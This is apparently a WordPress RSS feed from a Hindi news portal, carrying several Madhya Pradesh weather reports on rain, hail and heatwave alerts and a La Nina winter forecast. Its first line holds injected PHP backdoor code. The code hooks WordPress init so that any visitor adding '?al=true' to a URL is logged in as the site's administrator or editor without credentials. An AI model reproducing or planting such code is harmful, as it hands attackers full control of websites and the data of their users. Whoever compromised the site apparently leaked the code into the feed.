// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); weather department – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 14 Apr 2025 07:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 पूर्वी मध्यप्रदेश के 11 जिलों में आज हल्की बारिश के आसार, भोपाल-इंदौर में पारा बढ़ेगा https://pratyushaashakinayikiran.com/?p=148640 Mon, 14 Apr 2025 07:36:00 +0000 https://pratyushaashakinayikiran.com/?p=148640 भोपाल

 मंगलवार से एक बार फिर मध्य प्रदेश के मौसम में बदलाव देखने को मिलेगा। बुधवार से तापमान में इजाफा होते ही लू चलने लगेगी।इससे पहले आज सोमवार को मध्यप्रदेश के पूर्वी हिस्से में बादल छाने के साथ बारिश की संभावना जताई गई है।

एमपी मौसम विभाग ने आज रीवा शहडोल संभाग के रीवा, सतना, मऊगंज, सीधी, सिंगरौली, पन्ना, मैहर, कटनी, उमरिया, शहडोल और अनूपपुर में आंधी-बारिश की चेतावनी जारी की है। इस दौरान 30 से 40 किमी प्रति घंटा की रफ्तार से हवाएं चल सकती हैं।

16 अप्रैल से चलेगी हीटवेव

16 अप्रैल से प्रदेश में लू का असर देखने को मिलेगा। खासकर ग्वालियर, चंबल और इंदौर संभाग के जिलों में लू चलेगी। इनमें मंदसौर, नीमच रतलाम, गुना, श्योपुर और शिवपुरी सहित कुछ जिलों में हीटवेव चलने का अलर्ट जारी किया गया है।
एमपी मौसम विभाग ताजा पूर्वानुमान

पश्चिमी विक्षोभ कश्मीर और उसके आसपास के क्षेत्र पर हवा के ऊपरी भाग में चक्रवात और पूर्वोत्तर एमपी और आसपास हवा के ऊपरी भाग में भी बना एक चक्रवात अब कमजोर हो गया है, जिसके असर से मौसम में बदलाव आने लगा है। 16 अप्रैल से एक नए पश्चिमी विक्षोभ के हिमालयीन क्षेत्र में सक्रिय होने से तापमान बढ़ेगा और गर्मी का असर तेज होगा।

    रविवार को खरगोन के महेश्वर में तेज बारिश और ओले गिरे। सतना में तेज आंधी के साथ बारिश हुई।

    अशोकनगर, सिंगरौली में 60 किलोमीटर प्रति घंटा की रफ्तार से हवा चली।

    नर्मदापुरम में 40.2 डिग्री, खंडवा-धार में 40.1 डिग्री, खरगोन और नरसिंहपुर में 40 डिग्री रहा।

    भोपाल में 38.8 डिग्री, इंदौर में 38.6 डिग्री, ग्वालियर में 36 डिग्री, उज्जैन में 38.5 डिग्री और जबलपुर में पारा 37.4 डिग्री दर्ज किया गया।

    सबसे कम पचमढ़ी में 32.8 डिग्री रहा। नौगांव में 34 डिग्री, रीवा-सीधी में 34.6 डिग्री सेल्सियस रहा।

कमजोर हो रहा सिस्टम
सिर्फ पांच स्थानों को छोड़ बाकी जगहों पर अधिकतम पारा 40 डिग्री से नीचे बने रहे। नर्मदापुरम 40.2 डिग्री के साथ सबसे गर्म रहा। इसके बाद सबसे ज्यादा तपिश धार और खंडवा में 40.1 डिग्री दर्ज की गई। राजधानी भोपाल में पूरे दिन तेज धूप के बीच अधिकतम पारा 38.7 डिग्री रहा। मौसम विभाग की मानें तो अब सिस्टम कमजोर हो रहा है। ऐसे में सोमवार के बाद प्रदेशभर के शहरों में तापमान में दो से तीन डिग्री तक इजाफा हो सकता है।

इन जिलों में आंधी-तूफान अलर्ट
रविवार तड़के 4 बजे सतना-मैहर जिले में आंधी-तूफान के साथ कुछ देर तेज बारिश हुई। कई जगह पेड़ व बिजली के खंभे गिर गए। सुबह 6.30 से 8 बजे के बीच दो घंटे में 8.5 मिमी बारिश हुई। दोपहर में मौसम साफ हुआ, पर शाम 7.30 बजे फिर बारिश हुई। रीवा में भी ऐसे ही हालात रहे। मौसम ने किसानों की चिंता बढ़ा दी। खेतों में काटकर रखी गेहूं की फसल भीग गई।

मौसम विभाग ने सिंगरौली, सतना, उमरिया, कटनी, मैहर, बुरहानपुर, बड़वानी, ग्वालियर, दतिया, भिंड, बैतूल, खंडवा, खरगोन, शिवपुरी, मुरैना, सीधी, रीवा, मऊगंज, अनूपपुर, शहडोल, डिंडोरी, जबलपुर, छिंदवाड़ा, सिवनी, मंडला, पन्ना, दमोह, सागर, छतरपुर, टीकमगढ़, निवाड़ी, पांढुर्णा में बारिश के साथ ओलावृष्टि अलर्ट जारी किया है।

ऐसा रहेगा अप्रैल में मौसम

    पहला सप्ताह ऐसा रहा: रात का तापमान सभी संभागों में सामान्य से 2-3 डिग्री ज्यादा 21-24 डिग्री सेल्सियस बना रहा। वहीं, दिन में पश्चिमी गर्म हवाओं के कारण अधिकतम तापमान इंदौर, सागर और नर्मदापुरम संभागों में सामान्य से ज्यादा 39 से 44 डिग्री तक पहुंच गया। उज्जैन, भोपाल, ग्वालियर समेत बाकी संभागों में यह 41 से 42 डिग्री सेल्सियस के बीच रहा। पहले सप्ताह रतलाम में लू चल चुकी है। वहीं, बाकी शहरों में गर्म हवाओं से गर्मी बढ़ी रही।

    दूसरा सप्ताह: इंदौर, उज्जैन और चंबल संभाग में रात का तापमान सामान्य से 2-3 डिग्री ज्यादा यानी 23 से 26 डिग्री सेल्सियस के बीच रहेगा। पूर्वी नम हवाओं के कारण थोड़ी राहत के साथ भोपाल, जबलपुर, सागर, रीवा, शहडोल, ग्वालियर और नर्मदापुरम संभाग में तापमान सामान्य यानी 22-24 डिग्री बना रहेगा। इंदौर, ग्वालियर, चंबल, सागर, रीवा और शहडोल संभाग में तापमान सामान्य से बढ़कर 41 से 43 डिग्री सेल्सियस रहेगा। 2 से 3 दिन लू भी चल सकती है। इस दौरान बारिश होने की संभावना नहीं है, लेकिन वेस्टर्न डिस्टरबेंस की वजह से दक्षिणी हिस्से में बादल जरूर छा सकते हैं।

    तीसरा सप्ताह: उत्तर-पश्चिमी हवाओं के जोर पकड़ने के साथ इंदौर, भोपाल, ग्वालियर, चंबल, सागर, रीवा, नर्मदापुरम संभागों में न्यूनतम तापमान 25 से 27 डिग्री सेल्सियस के आसपास रहेगा। पूरे प्रदेश में दिन में अधिकतम तापमान 42 से 44 डिग्री सेल्सियस के बीच रह सकता है। 2 से 3 दिन लू चल सकती है। हल्की बारिश होने की संभावना है।

    चौथा सप्ताह: उत्तर-पश्चिमी हवाओं के लगातार जोर पकड़ने के साथ न्यूनतम तापमान पूरे प्रदेश में सामान्य से 3-4 डिग्री अधिक यानि 27 से 30 डिग्री सेल्सियस तक रहेगा। दिन के साथ रातें भी गर्म हो जाएंगी। ग्वालियर, चंबल, सागर और रीवा संभाग में पारा 43-45 डिग्री जबकि इंदौर, उज्जैन-भोपाल सहित बाकी प्रदेश में 41 से 44 डिग्री सेल्सियस तापमान रह सकता है। बंगाल क्षेत्र में साइक्लोनिक सर्कुलेशन सिस्टम की वजह से अप्रैल के आखिरी में 3 से 4 दिन तक लू का असर रह सकता है।

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अप्रैल के शुरुआती दिनों में मध्यप्रदेश में ओले-बारिश और आंधी का स्ट्रॉन्ग सिस्टम एक्टिव हो रहा https://pratyushaashakinayikiran.com/?p=144969 Mon, 31 Mar 2025 13:37:00 +0000 https://pratyushaashakinayikiran.com/?p=144969 भोपाल

 मौसम विभाग  ने मध्य प्रदेश में तेजी से मौसम में बदलाव को लेकर चेतावनी जारी की है. भीषण गर्मी से कई जिलों में लोगों को राहत मिल सकती हैं. मौसम विभाग की मानें, तो अप्रैल के शुरुआती दो दिनों में मध्य प्रदेश में ओले-बारिश (Hail and Rain) और आंधी का स्ट्रॉन्ग सिस्टम एक्टिव हो रहा है. इस वजह से प्रदेश के ज्यादातर जिलों में इसका असर देखने को मिलेगा. सोमवार को रतलाम, मंदसौर, अलीराजपुर और बड़वानी में हल्की बारिश और बादल छाए रहें. इसके साथ ही, कल से दो दिन बूंदाबादी देखने को मिल सकती है.

एमपी के इन जिलों में दो दिन तक बारिश

मौसम विभाग की मानें, तो 1 अप्रैल से एमपी के कुल 9 जिलों में एक या दो दिनों तक बादल-बूंदाबांदी और आंधी-ओले का दौर चल सकता है. नर्मदापुरम और बैतूल जिले में 1 अप्रैल को ओले गिरने का अनुमान जताया गया है. इसके अलावा, बुरहानपुर, खंडवा, खरगोन, बड़वानी, धार, अनूपपुर और डिंडोरी में ओले गिर सकते हैं.

इसलिए बदल रहा प्रदेश का मौसम
सीनियर मौसम वैज्ञानिक डॉ. दिव्या ई. सुरेंद्रन ने बताया कि अप्रैल की शुरुआत तेज गर्मी की बजाय ओले, बारिश, गरज-चमक और आंधी के साथ हो सकती है। कहीं-कहीं आंधी की रफ्तार 40 से 50 किमी प्रतिघंटा तक रह सकती है। उन्होंने बताया कि 24 घंटे के बाद मध्य महाराष्ट्र और कोंकण क्षेत्र में साइक्लोनिक सर्कुलेशन सिस्टम एक्टिव होने की संभावना है। जिसके पठारी क्षेत्र में ट्रफ के कारण अरब सागर और बंगाल की खाड़ी से नमी आनी शुरू हो जाएगी, जिससे प्रदेश में भी मौसम बदला रहेगा।

अगले 4 दिन ऐसा रहेगा मौसम

31 मार्च: मंदसौर, रतलाम, अलीराजपुर, बड़वानी में बादल छाए रहेंगे। यहां हल्की बूंदाबांदी भी हो सकती है। भोपाल, इंदौर, ग्वालियर, उज्जैन, जबलपुर में तेज धूप खिलेगी।

1 अप्रैल: नर्मदापुरम, बैतूल, बुरहानपुर और खंडवा में बारिश के साथ ओले गिर सकते हैं। हरदा, खरगोन, छिंदवाड़ा, पांढुर्णा में तेज आंधी और गरज-चमक की स्थिति रहेगी। यहां हवा की रफ्तार 40 से 50 किमी प्रतिघंटा तक रह सकती है। भोपाल, विदिशा, रायसेन, सीहोर, बड़वानी, अलीराजपुर, झाबुआ, देवास, मंदसौर, नरसिंहपुर और सागर में 30 से 40 किमी प्रतिघंटा की रफ्तार से आंधी चलेगी।

2 अप्रैल: नर्मदापुरम, बैतूल, बुरहानपुर, खंडवा, खरगोन, बड़वानी, धार, अनूपपुर, डिंडोरी और बालाघाट में ओले गिरने का अलर्ट है। हरदा-शिवपुरी समेत विदिशा, रायसेन, सीहोर, राजगढ़, अलीराजपुर, झाबुआ, इंदौर, रतलाम, उज्जैन, देवास, शाजापुर, आगर-मालवा, मंदसौर, नीमच, ग्वालियर, दतिया, भिंड, श्योपुर, सिंगरौली, सीधी, शहडोल, नरसिंहपुर, छिंदवाड़ा, सिवनी, मंडला, सागर और पांढुर्णा में तेज आंधी चलेगी।

3 अप्रैल: बैतूल में ओले गिर सकते हैं। खंडवा, गुना, अशोकनगर, शिवपुरी, ग्वालियर, अनूपपुर, शहडोल, उमरिया, डिंडोरी, छिंदवाड़ा, बालाघाट, पांढुर्णा में 40 से 50किमी प्रतिघंटा की रफ्तार से आंधी चलेगी। भोपाल, विदिशा, रायसेन, सीहोर, राजगढ़, नर्मदापुरम, हरदा, बुरहानपुर, खरगोन, बड़वानी, देवास, आगर-मालवा, दतिया, भिंड, मुरैना, श्योपुर, सिंगरौली, सीधी, कटनी, जबलपुर, नरसिंहपुर, सिवनी, मंडला, सागर, टीकमगढ़, निवाड़ी में 30 से 40 किमी की रफ्तार से आंधी चलेगी।

प्रदेश में मंडल रहा सबसे गर्म

रविवार को मंडला में सबसे ज्यादा 39 डिग्री दर्ज किया गया। बैतूल में 38.5 डिग्री, धार में 38.4 डिग्री, नरसिंहपुर में 38.2 डिग्री, मलाजखंड (बालाघाट) में 38 डिग्री, खरगोन में 37.8 डिग्री, छिंदवाड़ा में 37.5 डिग्री, नर्मदापुरम, खजुराहो-सिवनी में 37 डिग्री दर्ज किया गया। बड़े शहरों की बात करें तो भोपाल में 35.8 डिग्री, इंदौर में 36.8 डिग्री, ग्वालियर में 35.3 डिग्री, उज्जैन में 36.8 डिग्री और जबलपुर में 35.8 डिग्री दर्ज किया गया।

मंडला में 39 डिग्री पारा, भोपाल, इंदौर-ग्वालियर में भी गर्मी बढ़ी दो दिन की राहत के बाद रविवार को दिन के तापमान में बढ़ोतरी देखने को मिली। मौसम विभाग के अनुसार, मंडला में सबसे ज्यादा 39 डिग्री दर्ज किया गया। बैतूल में 38.5 डिग्री, धार में 38.4 डिग्री, नरसिंहपुर में 38.2 डिग्री, मलाजखंड (बालाघाट) में 38 डिग्री, खरगोन में 37.8 डिग्री, छिंदवाड़ा में 37.5 डिग्री, नर्मदापुरम, खजुराहो-सिवनी में 37 डिग्री दर्ज किया गया।

बड़े शहरों की बात करें तो भोपाल में 35.8 डिग्री, इंदौर में 36.8 डिग्री, ग्वालियर में 35.3 डिग्री, उज्जैन में 36.8 डिग्री और जबलपुर में 35.8 डिग्री दर्ज किया गया।

अप्रैल में चलेगी लू अप्रैल में लू का असर रह सकता है। मालवा-निमाड़ यानी इंदौर और उज्जैन संभाग के जिलों में लू का असर रहने की संभावना ज्यादा है। इनमें रतलाम, उज्जैन, खरगोन, खंडवा, धार आदि शामिल हैं। मौसम विभाग के अनुसार, सामान्यतः दिन का तापमान 40 डिग्री से अधिक या सामान्य से 4.6 डिग्री तक अधिक हो तो हीट वेव यानी लू की स्थिति मानी जाती है।

अप्रैल-मई में हीट वेव का असर ज्यादा बता दें कि मार्च से गर्मी के सीजन की शुरुआत हो जाती है। अगले 4 महीने तेज गर्मी पड़ेगी। मौसम विभाग ने मार्च से मई तक 15 से 20 दिन हीट वेव चलने का अनुमान जताया है। अप्रैल-मई में हीट वेव का असर ज्यादा हो सकता है। इस कारण 30 से 35 दिन तक गर्म हवा चल सकती है।

MP के 5 बड़े शहरों में मार्च में मौसम का ऐसा ट्रेंड…

भोपाल में दिन में तेज गर्मी के साथ बारिश भोपाल में मार्च महीने में दिन में तेज गर्मी पड़ने के साथ बारिश का ट्रेंड भी है। मौसम विभाग के अनुसार, मार्च महीने में गर्मी के सीजन की शुरुआत हो जाती है। इसके चलते दिन-रात के तापमान में बढ़ोतरी होने लगती है। आंकड़ों पर नजर डालें तो 30 मार्च 2021 को अधिकतम तापमान रिकॉर्ड 41 डिग्री पहुंच चुका है।

वहीं, 45 साल पहले 9 मार्च 1979 की रात में पारा 6.1 डिग्री दर्ज किया गया था। साल 2014 से 2023 के बीच दो बार ही अधिकतम तापमान 36 डिग्री के आसपास रहा। बाकी सालों में पारा 38 से 41 डिग्री सेल्सियस के बीच रहा है।

इंदौर में 41.1 डिग्री तक पहुंच चुका पारा इंदौर में मार्च से गर्मी का असर तेज होने लगता है। यहां दिन का पारा 41.1 डिग्री तक पहुंच चुका है, जो 28 मार्च 1892 को दर्ज किया गया था। 4 मार्च 1898 को रात में पारा 5 डिग्री सेल्सियस तक रहा था। 24 घंटे में करीब एक इंच बारिश होने का रिकॉर्ड है, जबकि पूरे महीने में दो इंच पानी गिर चुका है। मौसम विभाग के अनुसार, मार्च में 2 से 3 दिन बारिश होती है। कभी-कभी धूल भरी हवा की रफ्तार भी तेज होती है।

ग्वालियर में गर्मी, ठंड-बारिश का ट्रेंड मार्च महीने में ग्वालियर में गर्मी, ठंड और बारिश तीनों का ही ट्रेंड है। 31 मार्च 2022 को दिन का पारा रिकॉर्ड 41.8 डिग्री पहुंच गया जबकि 1 मार्च 1972 की रात में न्यूनतम तापमान 5.4 डिग्री रिकॉर्ड हो चुका है। साल 2015 में पूरे महीने 5 इंच से ज्यादा पानी गिरा। वहीं, साल 12 मार्च 1915 को 24 घंटे में करीब 2 इंच बारिश हुई थी।

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IMD ने की भविष्यवाणी, इस बार पड़ेगी रिकॉर्ड तोड़ ठंड https://pratyushaashakinayikiran.com/?p=77004 Sun, 29 Sep 2024 11:05:00 +0000 https://pratyushaashakinayikiran.com/?p=77004 भोपाल.
मध्यप्रदेश में मानसून की विदाई का वक्त नजदीक है और अब इंतजार है सर्दियों के आने का, लेकिन इसी बीच भारतीय मौसम विभाग (IMD) ने इस साल रिकॉर्ड तोड़ सर्दी पड़ने का अनुमान जताया है। IMD के मुताबिक ला नीना के प्रभाव से देश में अत्यधिक बारिश हुई है ठीक इसी तरह औसत से ज्यादा ठंड पड़ने का भी अनुमान है। खासकर उत्तर और मध्य भारत में हाड़कंपा देने वाली ठंड का सामना लोगों को करना पड़ेगा।

समय से पहले दस्तक देगी ठंड
मौसम विभाग के मुताबिक ला नीना के असर से इस बार भीषण सर्दी पड़ने की संभावना है। मानसून की विदाई के साथ ही उत्तरी इलाकों में तेजी से तापमान गिरेगा और इसका असर मध्यप्रदेश पर भी होगा और वक्त से पहले सर्दी आने की संभावना बन रही है। वैसे तो एमपी में ठंड की दस्तक अक्टूबर महीने के अंत तक होती है लेकिन ला नीना के असर से इस बार ठंड कुछ दिन पहले ही अपना असर दिखाना शुरू कर देगी।

क्या है ला नीना और उसका ठंड पर असर?
अल नीनो और ला नीना प्रशांत महासागर की समुद्री सतह के तापमान से जुड़े जलवायु पैटर्न को दर्शाते हैं। जब प्रशांत महासागर में समुद्री सतह अत्यधिक गर्म हो जाती है, तो इससे सामान्य मौसम प्रणाली पर विपरीत प्रभाव पड़ता है, जिसे अल-नीनो कहते हैं। यह कम बारिश और कम ठंड के लिए जिम्मेदार होता है। वहीं प्रशांत महासागर की सतह पर जब निम्न दबाव का क्षेत्र बनता है और समुद्री सतह का तापमान काफी ठंडा हो जाता है, तो इस परिवर्तन को ला नीना कहते हैं, जिससे बारिश और ठंड के ट्रेंड को बल मिलता है। इस साल ला नीना ही सक्रिय है, जिससे पूरे देश के साथ-साथ मध्यप्रदेश में भीषण ठंड पड़ेगी।

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